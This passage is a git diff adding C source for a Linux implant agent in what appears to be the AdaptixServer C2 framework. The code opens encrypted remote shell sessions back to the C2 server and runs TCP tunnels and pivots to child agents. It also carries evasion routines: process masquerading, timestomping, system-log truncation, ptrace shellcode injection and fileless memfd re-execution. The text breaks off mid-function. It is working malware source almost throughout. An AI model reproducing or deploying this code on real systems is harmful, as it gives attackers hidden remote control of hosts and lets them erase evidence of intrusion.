mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + char proto[8] = {0}; + int channel_id = -1; + char address[256] = {0}; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 5 && ax_memcmp(k, "proto", 5) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(proto)) { ax_memcpy(proto, v, vl); proto[vl] = '\0'; } + } else if (kl == 10 && ax_memcmp(k, "channel_id", 10) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) channel_id = (int)v; + else { + int64_t sv; + if (mp_read_int(&r, &sv) == 0) channel_id = (int)sv; + } + } else if (kl == 7 && ax_memcmp(k, "address", 7) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(address)) { ax_memcpy(address, v, vl); address[vl] = '\0'; } + } else { + mp_skip(&r); + } + } + + if (proto[0] == '\0' || channel_id < 0 || address[0] == '\0') { + write_error(w, "missing tunnel params"); + return 0; + } + + job_context_t *ctx = &g_job_ctx; + + // Allocate tunnel slot + jobs_mutex_lock(&ctx->tunnels_mutex); + int idx = -1; + for (int i = 0; i < MAX_TUNNELS; i++) { + if (!ctx->tunnels[i].active) { + idx = i; + ax_memset(&ctx->tunnels[i], 0, sizeof(tunnel_entry_t)); + ctx->tunnels[i].client_fd = -1; + ctx->tunnels[i].channel_id = channel_id; + ctx->tunnels[i].active = 1; + break; + } + } + jobs_mutex_unlock(&ctx->tunnels_mutex); + + if (idx < 0) { write_error(w, "max tunnels reached"); return 0; } + + // Start async connect (non-blocking, polled by process_tunnels) + if (proxy_connect_tcp(idx, address) != 0) { + // Immediate failure — status will be sent by process_tunnels (CloseProxy stage) + } + + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel starting"); + return 0; +} + +int task_tunnel_write(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + int channel_id = -1; + const uint8_t *payload = (const uint8_t *)0; + uint32_t payload_len = 0; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 10 && ax_memcmp(k, "channel_id", 10) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) channel_id = (int)v; + else { + int64_t sv; + if (mp_read_int(&r, &sv) == 0) channel_id = (int)sv; + } + } else if (kl == 4 && ax_memcmp(k, "data", 4) == 0) { + mp_read_bin(&r, &payload, &payload_len); + } else { + mp_skip(&r); + } + } + + if (channel_id >= 0 && payload && payload_len > 0) { + proxy_write_tcp(channel_id, payload, payload_len); + } + + // No response for write commands — transparent + mp_write_map(w, 0); + return 0; +} + +int task_tunnel_stop(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + int ch_id = parse_channel_id(data, data_len); + if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; } + + proxy_close(ch_id); + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel stopped"); + return 0; +} + +int task_tunnel_pause(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + int ch_id = parse_channel_id(data, data_len); + if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; } + + proxy_pause(ch_id); + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel paused"); + return 0; +} + +int task_tunnel_resume(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + int ch_id = parse_channel_id(data, data_len); + if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; } + + proxy_resume(ch_id); + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel resumed"); + return 0; +} + +// ── Terminal ── +// Spawns thread -> opens PTY -> connects to C2 -> bidirectional AES-CTR relay + +#define TERMINAL_BUF_SIZE (32 * 1024) // 32KB + +// PTY helper for static mode (no posix_openpt) +#ifndef BUILD_SO +static int pty_open_master(void) { + int fd = sys_open("/dev/ptmx", O_RDWR | O_NOCTTY, 0); + if (fd < 0) return -1; + + // grantpt: write '0' to /dev/pts via ioctl TIOCSPTLCK + int unlock = 0; + sys_ioctl(fd, 0x40045431 /*TIOCSPTLCK*/, (unsigned long)&unlock); + + return fd; +} + +static int pty_get_slave_num(int master_fd) { + int pty_num = -1; + sys_ioctl(master_fd, 0x80045430 /*TIOCGPTN*/, (unsigned long)&pty_num); + return pty_num; +} +#endif + +static int pty_fork_fn(const char *program, int width, int height, + int *master_fd, int *child_pid_out) { + int master; + +#ifdef BUILD_SO + master = F_posix_openpt(O_RDWR | O_NOCTTY); + if (master < 0) return -1; + if (F_grantpt(master) != 0 || F_unlockpt(master) != 0) { + F_close(master); + return -1; + } + char *slave_name = F_ptsname(master); + if (!slave_name) { + F_close(master); + return -1; + } +#else + master = pty_open_master(); + if (master < 0) return -1; + int pty_num = pty_get_slave_num(master); + if (pty_num < 0) { + F_close(master); + return -1; + } + // Build slave path: /dev/pts/N + char slave_path[32]; + ax_strcpy(slave_path, "/dev/pts/"); + char num_buf[16]; + ax_itoa(pty_num, num_buf, 10); + ax_strcat(slave_path, num_buf); + char *slave_name = slave_path; +#endif + + int pid = F_fork(); + if (pid < 0) { + F_close(master); + return -1; + } + + if (pid == 0) { + // Child + F_close(master); + F_setsid(); + + int slave = F_open(slave_name, O_RDWR, 0); + if (slave < 0) F_exit(1); + + // Set terminal size + struct linux_winsize ws; + ws.ws_col = (unsigned short)width; + ws.ws_row = (unsigned short)height; + ws.ws_xpixel = 0; + ws.ws_ypixel = 0; + F_ioctl(slave, TIOCSWINSZ, &ws); + + // Set as controlling terminal + F_ioctl(slave, TIOCSCTTY, 0); + + F_dup2(slave, 0); + F_dup2(slave, 1); + F_dup2(slave, 2); + if (slave > 2) F_close(slave); + +#ifdef BUILD_SO + F_setenv("TERM", "xterm-256color", 1); +#endif + + char *argv_term[] = { (char*)program, (char*)0 }; + F_execve(program, argv_term, (char*const*)0); + F_exit(1); + } + + // Parent + *master_fd = master; + *child_pid_out = pid; + return 0; +} + +typedef struct { + int terminal_idx; + int term_id; + char program[256]; + int width; + int height; +} terminal_args_t; + +static void *terminal_thread(void *arg) { + terminal_args_t *targs = (terminal_args_t*)arg; + job_context_t *ctx = &g_job_ctx; + + jobs_mutex_lock(&ctx->terminals_mutex); + terminal_entry_t *term = &ctx->terminals[targs->terminal_idx]; + jobs_mutex_unlock(&ctx->terminals_mutex); + + // Create PTY + int alive = 1; + char status_msg[256] = {0}; + + if (pty_fork_fn(targs->program, targs->width, targs->height, + &term->pty_master, &term->child_pid) != 0) { + alive = 0; + ax_strcpy(status_msg, "PTY creation failed"); + } + + // Open connection to C2 + if (jobs_open_connection(ctx, &term->srv_conn) != 0) { + if (term->pty_master >= 0) F_close(term->pty_master); + if (term->child_pid > 0) F_kill(term->child_pid, 9); + term->active = 0; + ax_free(targs); + return (void*)0; + } + + // Generate per-terminal AES keys + uint8_t term_key[16], term_iv[16]; + ax_random_bytes(term_key, 16); + ax_random_bytes(term_iv, 16); + + // Send TermPack init + mp_writer_t pack_w; + mp_writer_init(&pack_w, 256); + mp_write_map(&pack_w, 6); + mp_write_kv_uint(&pack_w, "id", ctx->agent_id); + mp_write_kv_int(&pack_w, "term_id", targs->term_id); + mp_write_kv_bin(&pack_w, "key", term_key, 16); + mp_write_kv_bin(&pack_w, "iv", term_iv, 16); + mp_write_kv_bool(&pack_w, "alive", alive ? true : false); + mp_write_kv_str(&pack_w, "status", status_msg); + + if (jobs_send_init(ctx, &term->srv_conn, JOB_TERMINAL, + pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) { + mp_writer_free(&pack_w); + if (term->pty_master >= 0) F_close(term->pty_master); + if (term->child_pid > 0) F_kill(term->child_pid, 9); + conn_close(&term->srv_conn); + term->active = 0; + ax_free(targs); + return (void*)0; + } + mp_writer_free(&pack_w); + + if (!alive) { + conn_close(&term->srv_conn); + term->active = 0; + ax_free(targs); + return (void*)0; + } + + // Set up AES-CTR streams + aes128_ctr_ctx_t dec_ctx, enc_ctx; + aes128_ctr_init(&dec_ctx, term_key, term_iv); + aes128_ctr_init(&enc_ctx, term_key, term_iv); + + ax_memset(term_key, 0, 16); + ax_memset(term_iv, 0, 16); + + // Bidirectional relay: PTY <-> C2 (AES-CTR encrypted) + uint8_t *buf = (uint8_t*)ax_malloc(TERMINAL_BUF_SIZE); + uint8_t *enc_buf = (uint8_t*)ax_malloc(TERMINAL_BUF_SIZE); + + int srv_fd = term->srv_conn.fd; + int pty_fd = term->pty_master; + + while (!term->canceled) { + linux_fd_set rfds; + fd_zero(&rfds); + fd_set_bit(srv_fd, &rfds); + fd_set_bit(pty_fd, &rfds); + + int maxfd = srv_fd > pty_fd ? srv_fd : pty_fd; + + int sr = net_select(maxfd + 1, &rfds, (linux_fd_set*)0, 500); + if (sr < 0) break; + if (sr == 0) { + // Check if child process is still running + int wstatus; + int wr = F_waitpid(term->child_pid, &wstatus, WNOHANG); + if (wr > 0) break; + continue; + } + + // Server -> PTY (user input, decrypt) + if (fd_is_set(srv_fd, &rfds)) { + long n = F_read(srv_fd, buf, TERMINAL_BUF_SIZE); + if (n <= 0) break; + + aes128_ctr_process(&dec_ctx, buf, enc_buf, (size_t)n); + + size_t written = 0; + while (written < (size_t)n) { + long wr = F_write(pty_fd, enc_buf + written, (size_t)n - written); + if (wr <= 0) goto term_cleanup; + written += (size_t)wr; + } + } + + // PTY -> Server (shell output, encrypt) + if (fd_is_set(pty_fd, &rfds)) { + long n = F_read(pty_fd, buf, TERMINAL_BUF_SIZE); + if (n <= 0) break; + + aes128_ctr_process(&enc_ctx, buf, enc_buf, (size_t)n); + + size_t written = 0; + while (written < (size_t)n) { + long wr = F_write(srv_fd, enc_buf + written, (size_t)n - written); + if (wr <= 0) goto term_cleanup; + written += (size_t)wr; + } + } + } + +term_cleanup: + ax_free(buf); + ax_free(enc_buf); + ax_memset(&dec_ctx, 0, sizeof(dec_ctx)); + ax_memset(&enc_ctx, 0, sizeof(enc_ctx)); + + if (term->child_pid > 0) { + F_kill(term->child_pid, 9); + F_waitpid(term->child_pid, (void*)0, 0); + } + + if (term->pty_master >= 0) F_close(term->pty_master); + conn_close(&term->srv_conn); + + jobs_mutex_lock(&ctx->terminals_mutex); + term->active = 0; + jobs_mutex_unlock(&ctx->terminals_mutex); + + ax_free(targs); + return (void*)0; +} + +int task_terminal_start(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + int term_id = -1; + char program[256] = {0}; + int width = 80, height = 24; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 7 && ax_memcmp(k, "term_id", 7) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) term_id = (int)v; + else { + int64_t sv; + if (mp_read_int(&r, &sv) == 0) term_id = (int)sv; + } + } else if (kl == 7 && ax_memcmp(k, "program", 7) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(program)) { ax_memcpy(program, v, vl); program[vl] = '\0'; } + } else if (kl == 5 && ax_memcmp(k, "width", 5) == 0) { + uint64_t v; mp_read_uint(&r, &v); width = (int)v; + } else if (kl == 6 && ax_memcmp(k, "height", 6) == 0) { + uint64_t v; mp_read_uint(&r, &v); height = (int)v; + } else { + mp_skip(&r); + } + } + + if (term_id < 0 || program[0] == '\0') { + write_error(w, "missing terminal params"); + return 0; + } + + job_context_t *ctx = &g_job_ctx; + + jobs_mutex_lock(&ctx->terminals_mutex); + int idx = -1; + for (int i = 0; i < MAX_TERMINALS; i++) { + if (!ctx->terminals[i].active) { + idx = i; + ax_memset(&ctx->terminals[i], 0, sizeof(terminal_entry_t)); + ctx->terminals[i].srv_conn.fd = -1; + ctx->terminals[i].pty_master = -1; + ctx->terminals[i].child_pid = -1; + ctx->terminals[i].term_id = term_id; + ctx->terminals[i].active = 1; + break; + } + } + jobs_mutex_unlock(&ctx->terminals_mutex); + + if (idx < 0) { write_error(w, "max terminals reached"); return 0; } + + terminal_args_t *ta = (terminal_args_t*)ax_malloc(sizeof(terminal_args_t)); + ta->terminal_idx = idx; + ta->term_id = term_id; + ax_strncpy(ta->program, program, sizeof(ta->program) - 1); + ta->width = width; + ta->height = height; + + jobs_thread_create(&ctx->terminals[idx].thread, terminal_thread, ta); + + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "terminal starting"); + return 0; +} + +static int parse_term_id(const uint8_t *data, uint32_t data_len) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) return -1; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) return -1; + if (kl == 7 && ax_memcmp(k, "term_id", 7) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) return (int)v; + int64_t sv; + if (mp_read_int(&r, &sv) == 0) return (int)sv; + return -1; + } + mp_skip(&r); + } + return -1; +} + +int task_terminal_stop(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + int tid = parse_term_id(data, data_len); + if (tid < 0) { write_error(w, "missing term_id"); return 0; } + + int idx = terminals_find(&g_job_ctx, tid); + if (idx < 0) { write_error(w, "terminal not found"); return 0; } + + g_job_ctx.terminals[idx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "terminal stopped"); + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.h new file mode 100644 index 000000000..c7bdf2e57 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.h @@ -0,0 +1,20 @@ +#ifndef TASKS_NET_H +#define TASKS_NET_H + +#include "msgpack.h" +#include + +/// Network command handlers +/// Tunnels: MUX model via proxyfire (no threads, data in main channel) +/// Terminals: thread + separate connection (Phase 2 migration) + +int task_tunnel_start(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_tunnel_write(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_tunnel_stop(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_tunnel_pause(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_tunnel_resume(const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +int task_terminal_start(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_terminal_stop(const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +#endif /* TASKS_NET_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.c new file mode 100644 index 000000000..5ebb90ea0 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.c @@ -0,0 +1,243 @@ +/// tasks_opsec.c -- OPSEC command handlers for Linux agent +/// masquerade, timestomp, cleanlog, inject, migrate +/// All ops via direct syscalls — zero libc dependency. + +#include "tasks_opsec.h" +#include "opsec.h" +#include "crt.h" +#include "types.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// ── Helpers ── + +static void write_error(mp_writer_t *w, const char *msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +static void write_output(mp_writer_t *w, const char *text) { + mp_write_map(w, 1); + mp_write_kv_str(w, "output", text); +} + +// ══════════════════════════════════════════════════════════════════════ +// masquerade — set fake process name +// Input msgpack: {name: "string"} +// ══════════════════════════════════════════════════════════════════════ + +// Stored argv pointer from _start / so_entry for masquerading +// Set by main.c at startup +extern char **g_argv; + +int task_masquerade(const uint8_t *data, uint32_t len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid data"); + return 0; + } + + const char *name = NULL; + uint32_t name_len = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 4 && ax_memcmp(key, "name", 4) == 0) { + mp_read_str(&r, &name, &name_len); + } else { + mp_skip(&r); + } + } + + if (!name || name_len == 0) { + write_error(w, "missing 'name' parameter"); + return 0; + } + + // Copy name to NUL-terminated buffer + char name_buf[256]; + uint32_t copy_len = name_len < sizeof(name_buf) - 1 ? name_len : (uint32_t)(sizeof(name_buf) - 1); + ax_memcpy(name_buf, name, copy_len); + name_buf[copy_len] = '\0'; + + opsec_masquerade(name_buf, g_argv); + + // Build response + char msg[320]; + ax_strcpy(msg, "Process masqueraded as: "); + ax_strcat(msg, name_buf); + write_output(w, msg); + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// timestomp — modify file timestamps +// Input msgpack: {path: "string", timestamp: uint64 (optional, 0=auto)} +// ══════════════════════════════════════════════════════════════════════ + +int task_timestomp(const uint8_t *data, uint32_t len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid data"); + return 0; + } + + const char *path = NULL; + uint32_t path_len = 0; + uint64_t timestamp = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 4 && ax_memcmp(key, "path", 4) == 0) { + mp_read_str(&r, &path, &path_len); + } else if (klen == 9 && ax_memcmp(key, "timestamp", 9) == 0) { + mp_read_uint(&r, ×tamp); + } else { + mp_skip(&r); + } + } + + if (!path || path_len == 0) { + write_error(w, "missing 'path' parameter"); + return 0; + } + + char path_buf[1024]; + uint32_t pcopy = path_len < sizeof(path_buf) - 1 ? path_len : (uint32_t)(sizeof(path_buf) - 1); + ax_memcpy(path_buf, path, pcopy); + path_buf[pcopy] = '\0'; + + int ret = opsec_timestomp(path_buf, (long)timestamp); + if (ret < 0) { + write_error(w, "timestomp failed"); + } else { + char msg[1080]; + ax_strcpy(msg, "Timestamps modified: "); + ax_strcat(msg, path_buf); + if (timestamp == 0) { + ax_strcat(msg, " (copied from /usr/bin/ls)"); + } + write_output(w, msg); + } + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// cleanlog — truncate system logs +// No input params +// ══════════════════════════════════════════════════════════════════════ + +int task_cleanlog(mp_writer_t *w) { + int cleaned = opsec_clean_logs(); + if (cleaned == 0) { + write_error(w, "No logs truncated (requires root)"); + } else { + char msg[64]; + char num[16]; + ax_itoa(cleaned, num, 10); + ax_strcpy(msg, "Truncated "); + ax_strcat(msg, num); + ax_strcat(msg, " log file(s)"); + write_output(w, msg); + } + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// inject — ptrace shellcode injection +// Input msgpack: {pid: uint, shellcode: bin} +// ══════════════════════════════════════════════════════════════════════ + +int task_inject(const uint8_t *data, uint32_t len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid data"); + return 0; + } + + uint64_t pid = 0; + const uint8_t *shellcode = NULL; + uint32_t sc_len = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 3 && ax_memcmp(key, "pid", 3) == 0) { + mp_read_uint(&r, &pid); + } else if (klen == 9 && ax_memcmp(key, "shellcode", 9) == 0) { + mp_read_bin(&r, &shellcode, &sc_len); + } else { + mp_skip(&r); + } + } + + if (pid == 0) { + write_error(w, "missing 'pid' parameter"); + return 0; + } + if (!shellcode || sc_len == 0) { + write_error(w, "missing 'shellcode' parameter"); + return 0; + } + + int ret = opsec_inject_ptrace((int)pid, shellcode, sc_len); + if (ret < 0) { + write_error(w, "ptrace injection failed (check permissions/PID)"); + } else { + char msg[128]; + char pid_str[16]; + char sc_str[16]; + ax_itoa((int)pid, pid_str, 10); + ax_itoa((int)sc_len, sc_str, 10); + ax_strcpy(msg, "Injected "); + ax_strcat(msg, sc_str); + ax_strcat(msg, " bytes into PID "); + ax_strcat(msg, pid_str); + write_output(w, msg); + } + return 0; +} + +// ══════════════════════════════════════════════════════════════════════ +// migrate — re-exec from memfd (fileless mode) +// No input params — this replaces the current process! +// On success, this function never returns. +// ══════════════════════════════════════════════════════════════════════ + +int task_migrate(mp_writer_t *w) { +#ifdef BUILD_SO + // In SO mode, /proc/self/exe points to the host process, not our agent. + // memfd re-exec would re-launch the host binary, not the agent. + write_error(w, "migrate not supported in SO mode (use ELF format)"); + return 0; +#else + // Attempt fileless re-exec via memfd_create. + // On success, this replaces the process → teamserver sees disconnect + new init. + // On failure, we report error and agent continues normally. + int ret = opsec_migrate_memfd(g_argv, NULL); + + // Only reached on failure (success = execve replaces process) + write_error(w, "memfd migration failed (check kernel support or permissions)"); + (void)ret; + return 0; +#endif +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.h new file mode 100644 index 000000000..6e70c2999 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.h @@ -0,0 +1,24 @@ +#ifndef TASKS_OPSEC_H +#define TASKS_OPSEC_H + +#include "types.h" +#include "msgpack.h" + +/// OPSEC command handlers + +/// masquerade — set process name to fake value +int task_masquerade(const uint8_t *data, uint32_t len, mp_writer_t *w); + +/// timestomp — modify file timestamps +int task_timestomp(const uint8_t *data, uint32_t len, mp_writer_t *w); + +/// cleanlog — truncate system logs (requires root) +int task_cleanlog(mp_writer_t *w); + +/// inject — ptrace-based shellcode injection +int task_inject(const uint8_t *data, uint32_t len, mp_writer_t *w); + +/// migrate — re-exec from memfd (fileless) +int task_migrate(mp_writer_t *w); + +#endif /* TASKS_OPSEC_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.c new file mode 100644 index 000000000..02236b8c9 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.c @@ -0,0 +1,126 @@ +#include "tasks_pivot.h" +#include "pivot.h" +#include "crt.h" + +/// COMMAND_LINK — connect to child agent via TCP +/// Input msgpack: {address: str, port: int} +/// cmd_id is used as the pivot identifier (matches Go's task.TaskId) +int task_link_with_id(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", "Invalid params"); + return 0; + } + + const char *address = (const char *)0; + uint32_t addr_len = 0; + int port = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 7 && ax_memcmp(key, "address", 7) == 0) { + mp_read_str(&r, &address, &addr_len); + } else if (klen == 4 && ax_memcmp(key, "port", 4) == 0) { + uint64_t v; + mp_read_uint(&r, &v); + port = (int)v; + } else { + mp_skip(&r); + } + } + + if (!address || addr_len == 0 || port <= 0) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", "Missing address or port"); + return 0; + } + + // Null-terminate the address string + char addr_buf[256]; + uint32_t copy_len = addr_len < 255 ? addr_len : 255; + ax_memcpy(addr_buf, address, copy_len); + addr_buf[copy_len] = '\0'; + + // Use cmd_id as the pivot ID — the Go side uses this for TsPivotCreate + pivot_link_tcp(&g_pivot_ctx, cmd_id, addr_buf, port, w); + return 0; +} + +/// COMMAND_UNLINK — disconnect a pivot +/// Input msgpack: {pivot_id: uint} +int task_unlink(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", "Invalid params"); + return 0; + } + + uint32_t pivot_id = 0; + for (uint32_t i = 0; i < map_count; i++) { + const char *key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 8 && ax_memcmp(key, "pivot_id", 8) == 0) { + uint64_t v; + mp_read_uint(&r, &v); + pivot_id = (uint32_t)v; + } else { + mp_skip(&r); + } + } + + pivot_unlink(&g_pivot_ctx, pivot_id, w); + return 0; +} + +/// COMMAND_PIVOT_EXEC — relay data from teamserver to child agent +/// Input msgpack: {pivot_id: uint, data: bytes} +int task_pivot_exec(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + return 0; + } + + uint32_t pivot_id = 0; + const uint8_t *relay_data = (const uint8_t *)0; + uint32_t relay_len = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 8 && ax_memcmp(key, "pivot_id", 8) == 0) { + uint64_t v; + mp_read_uint(&r, &v); + pivot_id = (uint32_t)v; + } else if (klen == 4 && ax_memcmp(key, "data", 4) == 0) { + mp_read_bin(&r, &relay_data, &relay_len); + } else { + mp_skip(&r); + } + } + + if (relay_data && relay_len > 0) { + pivot_write(&g_pivot_ctx, pivot_id, relay_data, relay_len); + } + + // PIVOT_EXEC doesn't produce a visible response — silent relay + (void)w; + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.h new file mode 100644 index 000000000..622a292d1 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.h @@ -0,0 +1,18 @@ +#ifndef TASKS_PIVOT_H +#define TASKS_PIVOT_H + +#include "msgpack.h" +#include + +/// Pivot command handlers + +/// COMMAND_LINK — needs cmd_id as the pivot identifier +int task_link_with_id(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +/// COMMAND_UNLINK +int task_unlink(const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +/// COMMAND_PIVOT_EXEC — relay data to child agent +int task_pivot_exec(const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +#endif /* TASKS_PIVOT_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.c new file mode 100644 index 000000000..d2dc433b8 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.c @@ -0,0 +1,502 @@ +/// tasks_proc.c -- Process commands for Linux agent +/// All ops via direct syscalls — zero libc dependency. + +#include "tasks_proc.h" +#include "crt.h" +#include "types.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// ── Linux constants ── + +#define O_RDONLY 0 +#define SIGKILL 9 + +// ── Helpers ── + +static void write_error(mp_writer_t *w, const char *msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +/// Parse /proc//stat → extract pid, comm, ppid, tty_nr +/// Format: "pid (comm) state ppid pgrp session tty_nr ..." +static int parse_proc_stat(const char *buf, int *pid, char *comm, size_t comm_size, + int *ppid, int *tty_nr) { + // Parse pid + const char *p = buf; + *pid = ax_atoi(p); + + // Find '(' for comm start + while (*p && *p != '(') p++; + if (!*p) return -1; + p++; // skip '(' + + // Find matching ')' — comm can contain spaces and parens + const char *comm_start = p; + const char *comm_end = p; + while (*p) { + if (*p == ')') comm_end = p; + p++; + } + // comm_end now points to the LAST ')' in the string + size_t clen = (size_t)(comm_end - comm_start); + if (clen >= comm_size) clen = comm_size - 1; + ax_memcpy(comm, comm_start, clen); + comm[clen] = '\0'; + + // After ') ' comes: state ppid pgrp session tty_nr ... + p = comm_end + 1; + while (*p == ' ') p++; + // state (single char) + while (*p && *p != ' ') p++; + while (*p == ' ') p++; + // ppid + *ppid = ax_atoi(p); + while (*p && *p != ' ') p++; + while (*p == ' ') p++; + // pgrp — skip + while (*p && *p != ' ') p++; + while (*p == ' ') p++; + // session — skip + while (*p && *p != ' ') p++; + while (*p == ' ') p++; + // tty_nr + *tty_nr = ax_atoi(p); + + return 0; +} + +/// Read /proc//status and extract Uid: field (first value = real UID) +static int get_proc_uid(int pid, int *uid) { + char path[64]; + ax_strcpy(path, "/proc/"); + char pidbuf[16]; + ax_itoa(pid, pidbuf, 10); + ax_strcat(path, pidbuf); + ax_strcat(path, "/status"); + + char buf[4096]; + int fd = sys_open(path, O_RDONLY, 0); + if (fd < 0) return -1; + long n = sys_read(fd, buf, sizeof(buf) - 1); + sys_close(fd); + if (n <= 0) return -1; + buf[n] = '\0'; + + // Find "Uid:\t" + char *p = ax_strstr(buf, "Uid:"); + if (!p) return -1; + p += 4; // skip "Uid:" + while (*p == '\t' || *p == ' ') p++; + *uid = ax_atoi(p); + return 0; +} + +/// Convert UID to username by parsing /etc/passwd +static void uid_to_name(int uid, char *buf, size_t buf_size) { + char passwd[8192]; + int fd = sys_open("/etc/passwd", O_RDONLY, 0); + if (fd < 0) goto fallback; + + long n = sys_read(fd, passwd, sizeof(passwd) - 1); 